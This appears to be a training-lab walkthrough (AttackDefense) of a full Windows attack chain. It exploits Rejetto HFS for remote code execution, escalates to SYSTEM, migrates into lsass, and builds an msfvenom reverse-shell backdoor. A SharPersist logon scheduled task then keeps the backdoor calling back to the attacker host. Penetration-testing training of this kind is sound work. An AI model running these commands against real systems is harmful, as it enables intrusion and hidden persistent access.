

[illegible]

Name	Maintaining Access: SharPersist
URL	https://attackdefense.com/challengedetails?cid=2216
Type	Windows Security: Maintaining Access: Basics

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Checking the target IP address.

Note: The target IP address is stored in the “target” file.

Command: cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.16.163
root@attackdefense:~#
```

Step 2: Run a Nmap scan against the target IP.

Command: nmap 10.0.16.163

```
root@attackdefense:~# nmap 10.0.16.163
Starting Nmap 7.70 ( https://nmap.org ) at 2020-12-05 10:54 IST
Nmap scan report for 10.0.16.163
Host is up (0.0014s latency).
Not shown: 990 closed ports
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49163/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 19.30 seconds
root@attackdefense:~#
```

Step 3: We have discovered that multiple ports are open. We will run Nmap again to determine version information on port 80.

Command: nmap -sV -p 80 10.0.16.163

```
root@attackdefense:~# nmap -sV -p 80 10.0.16.163
Starting Nmap 7.70 ( https://nmap.org ) at 2020-12-05 10:54 IST
Nmap scan report for 10.0.16.163
Host is up (0.0012s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http      HttpFileServer httpd 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.51 seconds
root@attackdefense:~#
```

Step 4: We will search the exploit module for hfs file server using searchsploit.

Command: searchsploit hfs

```

root@attackdefense:~# searchsploit hfs
-----
Exploit Title
-----
Apple Mac OSX 10.4.8 - DMG HFS+ DO_HFS_TRUNCATE Denial of Service
Apple Mac OSX 10.6 - HFS FileSystem (Denial of Service)
Apple Mac OSX 10.6.x - HFS Subsystem Information Disclosure
Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation
HFS - FTP/HTTP File Server 2.1.2 Remote Command Execution
Linux Kernel 2.6.x - SquashHFS Double-Free Denial of Service
Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit)
Rejetto HTTP File Server (HFS) 1.5/2.x - Multiple Vulnerabilities
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution
-----
Shellcodes: No Result
Papers: No Result
root@attackdefense:~#

```

Step 5: Rejetto HTTP File Server (HFS) 2.3 is vulnerable to RCE. Exploiting the target server using the Metasploit framework.

Commands:

```

msfconsole -q
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS 10.0.16.163
exploit

```

```

root@attackdefense:~# msfconsole -q
msf6 > use exploit/windows/http/rejetto_hfs_exec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 10.0.16.163
RHOSTS => 10.0.16.163
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit

[*] Started reverse TCP handler on 10.10.1.4:4444
[*] Using URL: http://0.0.0.0:8080/2qzd2bi
[*] Local IP: http://10.10.1.4:8080/2qzd2bi
[*] Server started.
[*] Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI
[*] Payload request received: /2qzd2bi
[*] Sending stage (175174 bytes) to 10.0.16.163
[*] Meterpreter session 1 opened (10.10.1.4:4444 -> 10.0.16.163:49199) at 2020-12-05 10:55:06 +0530
[!] Tried to delete %TEMP%\GqgrZvjfcr.vbs, unknown result
[*] Server stopped.

meterpreter > 

```

We have successfully exploited the target vulnerable application (hfs) and received a meterpreter shell.

Step 6: Checking the current user.

Command: getuid

```

meterpreter > getuid
Server username: WIN-OMCNBKR66MN\Administrator
meterpreter > 

```

Step 7: We can observe that we are running as an administrator user. Elevate to the system privilege

Commands:

getsystem
getuid

```

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

```

Step 8: Migrate in lsass.exe process

Commands:

```
ps -S lsass.exe  
migrate 688
```

```
meterpreter > ps -S lsass.exe  
Filtering on 'lsass.exe'  
  
Process List  
=====
```

PID	PPID	Name	Arch	Session	User	Path
688	584	lsass.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\lsass.exe

```
meterpreter > migrate 688  
[*] Migrating from 2864 to 688...  
[*] Migration completed successfully.  
meterpreter >
```

Step 9: In this case, we are configuring a persistence backdoor using the [SharPersist](#) tool.

SharPersist:

The **SharPersist.exe** is located in **/root/Desktop/tools/SharPersist** directory.

SharPersist is a Windows persistence toolkit written in C#. Supports tons of different techniques for persistent access. First, generate a malicious executable using msfvenom.

Command: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.1.4 LPORT=4444 -f exe > backdoor.exe

```
root@attackdefense:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.1.4 LPORT=4444 -f exe > backdoor.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload  
[-] No arch selected, selecting arch: x86 from the payload  
No encoder specified, outputting raw payload  
Payload size: 354 bytes  
Final size of exe file: 73802 bytes  
root@attackdefense:~# file backdoor.exe  
backdoor.exe: PE32 executable (GUI) Intel 80386, for MS Windows  
root@attackdefense:~#
```

Step 10: Uploading SharpPersist.exe and backdoor.exe.

Switch directory to C:\\Users\\Administrator\\AppData\\Local\\Temp.

Commands:

```
cd C:\\Users\\Administrator\\AppData\\Local\\Temp
upload /root/Desktop/tools/SharPersist/SharPersist.exe .
upload /root/backdoor.exe .
ls
```

```
meterpreter > cd C:\\Users\\Administrator\\AppData\\Local\\Temp
meterpreter > upload /root/Desktop/tools/SharPersist/SharPersist.exe .
[*] uploading : /root/Desktop/tools/SharPersist/SharPersist.exe -> .
[*] uploaded  : /root/Desktop/tools/SharPersist/SharPersist.exe -> .\\SharPersist.exe
meterpreter > upload /root/backdoor.exe .
[*] uploading : /root/backdoor.exe -> .
[*] uploaded  : /root/backdoor.exe -> .\\backdoor.exe
meterpreter > dir
Listing: C:\\Users\\Administrator\\AppData\\Local\\Temp
=====
```

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
40777/rwxrwxrwx	0	dir	2020-12-05 10:41:01 +0530	1
100777/rwxrwxrwx	236544	fil	2020-12-05 11:15:50 +0530	SharPersist.exe
100777/rwxrwxrwx	73802	fil	2020-12-05 11:15:54 +0530	backdoor.exe

```
meterpreter > █
```

We have uploaded the malicious executable and SharpPersist.exe on the victim machine.

Step 11: Load PowerShell extension and get the PowerShell shell

Commands:

```
load PowerShell
powershell_shell
```

```
meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell
PS >
```

Step 12: There are many persistence techniques available using the SharPersist.exe tool. In this case, we are going to create scheduled task persistence access on the logon of the user.

Command: `./SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c \Users\Administrator\AppData\Local\Temp\backdoor.exe" -n "AttackDefense" -m add -o logon`

The above command would create a schedule task that executes cmd.exe to run backdoor.exe on logon.

```
PS > ./SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c \Users\Administrator\AppData\Local\Temp\backdoor.exe" -n
"AttackDefense" -m add -o logon

[*] INFO: Adding scheduled task persistence
[*] INFO: Command: C:\Windows\System32\cmd.exe
[*] INFO: Command Args: /c \Users\Administrator\AppData\Local\Temp\backdoor.exe
[*] INFO: Scheduled Task Name: AttackDefense
[*] INFO: Option: logon

[+] SUCCESS: Scheduled task added
PS >
```

Step 13: We have successfully maintained access. Start another msfconsole and run a multi handler to regain access.

Commands:

```
msfconsole -q
use exploit/multi/handler
set LHOST 10.10.1.4
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
exploit
```

```
root@attackdefense:~# msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.1.4
LHOST => 10.10.1.4
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.1.4:4444
█
```

Step 14: Switch back to the active meterpreter session and reboot the machine.

Commands: CTRL + C

reboot

```
PS > ^C
Terminate channel 2? [y/N] y
meterpreter > reboot
Rebooting...
meterpreter > █
```

Once the machine reboots we would expect a new meterpreter session without re-exploitation. This happened because we have created a task to run the malicious executable on user logon.

Please wait patiently, you would receive the meterpreter session after the windows server loads completely. This could take up to 5 minutes.

```
root@attackdefense:~# msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.1.4
LHOST => 10.10.1.4
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.1.4:4444
[*] Sending stage (175174 bytes) to 10.0.16.163
[*] Meterpreter session 1 opened (10.10.1.4:4444 -> 10.0.16.163:49166) at 2020-12-05 11:32:13 +0530

meterpreter > █
```

We have received a new meterpreter session.
